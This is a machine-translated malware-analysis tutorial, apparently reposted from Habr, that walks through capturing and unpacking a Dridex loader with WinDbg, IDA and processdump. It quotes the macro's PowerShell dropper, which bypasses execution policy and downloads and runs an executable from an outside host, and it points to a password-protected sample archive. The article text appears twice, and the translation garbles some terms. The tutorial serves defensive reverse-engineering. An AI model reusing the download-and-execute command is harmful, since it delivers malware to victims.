Unpacking: Dridex bootloader
Good night friends! In less than a month, we will start the course “Reverse Engineering” , in connection with which we traditionally share useful material on the topic.
Some readers had problems unpacking the bootloader for Dridex (of what was dropped by the macro), so today I will show you an easy way to do this. Another problem that people face that I cannot solve is the fact that Dridex infectious chains have a very short lifetime, which makes it almost impossible for reverse for most people. I will explain why.
The current chain of infection Dridex has about 4 stages:
The problem for analysts is that there are 2 points of failure at once: the hacked site that hosts the bootloader, you can clear or delete the sharepoint account, or the bootloader server can be stopped (any of them will prevent successful infection). In addition, the bootloader servers often support the geo-zone (only work if your IP is in the country for which it is intended and is not a VPN), and as soon as the bootloader is publicly loaded, the Dridex group can blacklist it. by permanently blocking anyone who launches it from contacting any C2s (Commercial Cloud Services).
What is surprising about all these “failures” is that they are probably intentional. Most victims who have received infected email will open it within a few working days, after which most of the people who open the email will analyze the malware, so it’s helpful that everything disappears within a week.
In order for readers to understand this lesson in practice, here is a zip containing a malicious office document and a packaged bootloader from the same chain, so you don’t need to worry about dead URLs (password: infected). As for servers with a geofence bootloader, I can't do anything about it, and since the bootloader has already been recalled, you will be blacklisted for launching it (if you do not know how to bypass the blacklist, follow this lesson in the new VM (virtual machine) and maybe change the IP after).
Getting Packaged Loader
First of all, you will want to open a malicious document in Word, but do not click "Include Content" for now. Open the debugger (as usual I use WinDbg), connect it to winword.exe, set a breakpoint at CreateProcessW, resume the process, then click "Enable Content".
The breakpoint will be reached almost instantly with new Dridex patterns (some virtual machines can be detected, so if the breakpoint doesn't work, consider masking your virtual machine).
We want to unload the 1st and 2nd parameters of CreateProcess (respectively, the path to the application and command line parameters), we can do this with the following commands:
du / c100 poi (esp + 4)
du / c100 poi (esp + 8)
Note: the du command resets the null-terminated string, / c 100 sets the maximum column limit, and poi (esp + 4) reads the address pointed to by esp + 4. The results I received:
Application: C: \ Windows \ System32 \ cmd.exe
Parameters: “C: \ Windows \ System32 \ cmd.exe” / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe';
Here we observe how a malicious macro runs cmd.exe with a command to start powershell, traverse the execution policy, and then load and run the executable file. If we remove the string concatenation and characters that are just baisc obfuscation, we get the following:
“C: \ Windows \ System32 \ cmd.exe” / c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient). ('Downloadfile'). Invoke ( 'http://littlwnowern.top/lukaku/ ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); start-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe';
Now we can simply manually download the exe file from littlwnowern [.] Top / lukaku / (url is now dead, but I downloaded the binary file into the archive as “GksagD.exe.sample”), this is a packaged bootloader.
Unpacking the bootloader
First we need to enable DEP (Data Execution Prevention) for all applications, the reason for this will be clear later. To do this, go to “Control Panel”> “System and Security”> “System”> “Advanced System Settings”> “Settings” (in the “Performance” section) -> “Prevent data execution”, then enable DEP for all programs.
Next, we are going to open the exe file in PE Explorer and set the “Relocation Stripped” flag in the PE header, which will not allow ASLR to load the executable file to a different address each time it is launched, which makes reversing easier.
Now save the executable file and open it in IDA Pro.
Usually, Dridex loaders create the svchost.exe or spoolsv.exe process and inject into it, so we know that unpacked code will likely cause CreateProcess; To verify this, set a breakpoint at the end of CreateProcessW (in the ret instruction) and press run.
Once the breakpoint is reached, you should see that GksagD.exe has created a suspended process named svchost.exe or spoolsv.exe, as expected. If we take one step to return from CreateProcessW back to the code that called it, we will meet with the next.
IDA has fragmented instructions, which means that the code has been changed since the launch of the executable file, which is usually the result of unpacking in place (often malware packers use hollow processes to write unpacked code to another process, true packers unpack the code to the same process).
Now we know that at some point the main executable code is being replaced, we can put a breakpoint on the record at the current address, which will be triggered when the code changes.
After that, remove all other breakpoints and restart the process.
The breakpoint was called from an address outside the main section of the executable files, which means that the packer allocated some of the memory, and then copied some code to take care of replacing the main executable file.
If we look at the memory in Process Hacker, we see that it is now readable and writable, but not executable, which is fine, since it means that the packer no longer uses this code.
Now about some of the findings of Sherlock's level: we know that the code is executed here later, and the memory is not currently executable, so perhaps at some point it will become executable.
The function used to configure memory protection is usually VirtualAlloc, VirtualAllocEx, or NtProtectVirtualMemory. If you are familiar with the internal components of Windows, you will know that both VirtualAlloc and VirtualAllocEx will call NtProtectVirtualMemory internally, so this is where we set a breakpoint.
We could sit and check the call stack each time NtProtectVirtualMemory is called, wait for the corresponding address to be set as executable, then analyze the PE header to find a new entry point, or we could get smarter.
We are going to set a conditional breakpoint on NtProtectVirtualMemory using the following script:
To do this, go to NtProtectVirtualMemory and set a breakpoint on the first byte, right-click> Change breakpoint, then click the "..." button and paste the script.
This script will be executed every time NtProtectVirtualMemory is called, and will do the following:
Let's run and see what happens.
No access violation! Take some time to enjoy the moment, as this is probably the only serious access violation that you have ever seen ... but why is that good?
Our breakpoint script on NtProtectVirtualMemory set all memory as non-executable when the packer tried to set it to executable. An exception means that everything that the packer has written to memory has now been successfully written, and it is trying to call something in this memory. If we are lucky, the fact that the packer was writing to memory is an unpacked loader, and the address it was trying to call is the entry point, right?
To do this, we will use an amazing tool called processdump ( download link ), which dumps any exe or dll images loaded into the process memory, and packages them back into .exe or .dll files.
use “pd32.exe -pid” to dump the process.
use "pd32.exe -pid <process id>" to unload the process.
The number at the end of the file name is the base address of the image in memory, so GksagD_exe_GksagD.exe_400000.exe will be what the packer will be, mapped instead of the old executable file, so we will look at it in IDA.
The address of the entry point is the same as the address of the exception; this is the unpacked executable file!
Reverse tips
The loader is complicated, because all the lines are encrypted and there is no import, but the methods that I described in detail in my Dridex handling guides will work on the loader as well.
Take a look:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html
and
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html
Note: the boot loader executable is multi-purpose (this is both code that injects svchost / spoolsv, and code embedded in svchost / spoolsv). If you want to reverse the injection part of the loader, simply open it in IDA and run it. If you want to reverse the boot part, you need to copy it to system32 and run it from there (be careful that in both cases the bootloader will be deleted by itself after it is executed).
If you find the material useful, put a plus, write comments and be sure to sign up for an open lesson that will be held today!
Some readers had problems unpacking the bootloader for Dridex (of what was dropped by the macro), so today I will show you an easy way to do this. Another problem that people face that I cannot solve is the fact that Dridex infectious chains have a very short lifetime, which makes it almost impossible for reverse for most people. I will explain why.
The current chain of infection Dridex has about 4 stages:
- An office document containing a macro runs the powershell script.
- Powershell script that will load the packaged bootloader from a hacked site or sharepoint and launch it.
- A packaged loader that unpacks itself and inserts the code into a newly created spoolsrv or svchost process.
- The implemented process, which will communicate with the loader server, will extract and execute the real binary file of the bot.
The problem for analysts is that there are 2 points of failure at once: the hacked site that hosts the bootloader, you can clear or delete the sharepoint account, or the bootloader server can be stopped (any of them will prevent successful infection). In addition, the bootloader servers often support the geo-zone (only work if your IP is in the country for which it is intended and is not a VPN), and as soon as the bootloader is publicly loaded, the Dridex group can blacklist it. by permanently blocking anyone who launches it from contacting any C2s (Commercial Cloud Services).
What is surprising about all these “failures” is that they are probably intentional. Most victims who have received infected email will open it within a few working days, after which most of the people who open the email will analyze the malware, so it’s helpful that everything disappears within a week.
In order for readers to understand this lesson in practice, here is a zip containing a malicious office document and a packaged bootloader from the same chain, so you don’t need to worry about dead URLs (password: infected). As for servers with a geofence bootloader, I can't do anything about it, and since the bootloader has already been recalled, you will be blacklisted for launching it (if you do not know how to bypass the blacklist, follow this lesson in the new VM (virtual machine) and maybe change the IP after).
Getting Packaged Loader
First of all, you will want to open a malicious document in Word, but do not click "Include Content" for now. Open the debugger (as usual I use WinDbg), connect it to winword.exe, set a breakpoint at CreateProcessW, resume the process, then click "Enable Content".
The breakpoint will be reached almost instantly with new Dridex patterns (some virtual machines can be detected, so if the breakpoint doesn't work, consider masking your virtual machine).
We want to unload the 1st and 2nd parameters of CreateProcess (respectively, the path to the application and command line parameters), we can do this with the following commands:
du / c100 poi (esp + 4)
du / c100 poi (esp + 8)
Note: the du command resets the null-terminated string, / c 100 sets the maximum column limit, and poi (esp + 4) reads the address pointed to by esp + 4. The results I received:
Application: C: \ Windows \ System32 \ cmd.exe
Parameters: “C: \ Windows \ System32 \ cmd.exe” / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe';
Here we observe how a malicious macro runs cmd.exe with a command to start powershell, traverse the execution policy, and then load and run the executable file. If we remove the string concatenation and characters that are just baisc obfuscation, we get the following:
“C: \ Windows \ System32 \ cmd.exe” / c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient). ('Downloadfile'). Invoke ( 'http://littlwnowern.top/lukaku/ ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); start-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe';
Now we can simply manually download the exe file from littlwnowern [.] Top / lukaku / (url is now dead, but I downloaded the binary file into the archive as “GksagD.exe.sample”), this is a packaged bootloader.
Unpacking the bootloader
First we need to enable DEP (Data Execution Prevention) for all applications, the reason for this will be clear later. To do this, go to “Control Panel”> “System and Security”> “System”> “Advanced System Settings”> “Settings” (in the “Performance” section) -> “Prevent data execution”, then enable DEP for all programs.
Next, we are going to open the exe file in PE Explorer and set the “Relocation Stripped” flag in the PE header, which will not allow ASLR to load the executable file to a different address each time it is launched, which makes reversing easier.
Now save the executable file and open it in IDA Pro.
Usually, Dridex loaders create the svchost.exe or spoolsv.exe process and inject into it, so we know that unpacked code will likely cause CreateProcess; To verify this, set a breakpoint at the end of CreateProcessW (in the ret instruction) and press run.
Once the breakpoint is reached, you should see that GksagD.exe has created a suspended process named svchost.exe or spoolsv.exe, as expected. If we take one step to return from CreateProcessW back to the code that called it, we will meet with the next.
IDA has fragmented instructions, which means that the code has been changed since the launch of the executable file, which is usually the result of unpacking in place (often malware packers use hollow processes to write unpacked code to another process, true packers unpack the code to the same process).
Now we know that at some point the main executable code is being replaced, we can put a breakpoint on the record at the current address, which will be triggered when the code changes.
After that, remove all other breakpoints and restart the process.
The breakpoint was called from an address outside the main section of the executable files, which means that the packer allocated some of the memory, and then copied some code to take care of replacing the main executable file.
If we look at the memory in Process Hacker, we see that it is now readable and writable, but not executable, which is fine, since it means that the packer no longer uses this code.
Now about some of the findings of Sherlock's level: we know that the code is executed here later, and the memory is not currently executable, so perhaps at some point it will become executable.
The function used to configure memory protection is usually VirtualAlloc, VirtualAllocEx, or NtProtectVirtualMemory. If you are familiar with the internal components of Windows, you will know that both VirtualAlloc and VirtualAllocEx will call NtProtectVirtualMemory internally, so this is where we set a breakpoint.
We could sit and check the call stack each time NtProtectVirtualMemory is called, wait for the corresponding address to be set as executable, then analyze the PE header to find a new entry point, or we could get smarter.
We are going to set a conditional breakpoint on NtProtectVirtualMemory using the following script:
if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0; To do this, go to NtProtectVirtualMemory and set a breakpoint on the first byte, right-click> Change breakpoint, then click the "..." button and paste the script.
This script will be executed every time NtProtectVirtualMemory is called, and will do the following:
- Make sure that the page protection parameter (esp + 0x10) is 0x10, 0x20, or 0x40 (aka PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), which means that the call changes the page protection to executable.
- Make sure that the target address is in the range of the main executable partition (0x400000 - 0x42e000).
- Change the security setting to 0x04 (not executable).
- Return 0 (resume execution instead of interrupting the debugger).
Let's run and see what happens.
No access violation! Take some time to enjoy the moment, as this is probably the only serious access violation that you have ever seen ... but why is that good?
Our breakpoint script on NtProtectVirtualMemory set all memory as non-executable when the packer tried to set it to executable. An exception means that everything that the packer has written to memory has now been successfully written, and it is trying to call something in this memory. If we are lucky, the fact that the packer was writing to memory is an unpacked loader, and the address it was trying to call is the entry point, right?
To do this, we will use an amazing tool called processdump ( download link ), which dumps any exe or dll images loaded into the process memory, and packages them back into .exe or .dll files.
use “pd32.exe -pid” to dump the process.
use "pd32.exe -pid <process id>" to unload the process.
The number at the end of the file name is the base address of the image in memory, so GksagD_exe_GksagD.exe_400000.exe will be what the packer will be, mapped instead of the old executable file, so we will look at it in IDA.
The address of the entry point is the same as the address of the exception; this is the unpacked executable file!
Reverse tips
The loader is complicated, because all the lines are encrypted and there is no import, but the methods that I described in detail in my Dridex handling guides will work on the loader as well.
Take a look:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html
and
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html
Note: the boot loader executable is multi-purpose (this is both code that injects svchost / spoolsv, and code embedded in svchost / spoolsv). If you want to reverse the injection part of the loader, simply open it in IDA and run it. If you want to reverse the boot part, you need to copy it to system32 and run it from there (be careful that in both cases the bootloader will be deleted by itself after it is executed).
If you find the material useful, put a plus, write comments and be sure to sign up for an open lesson that will be held today!
Source: https://habr.com/ru/post/439916/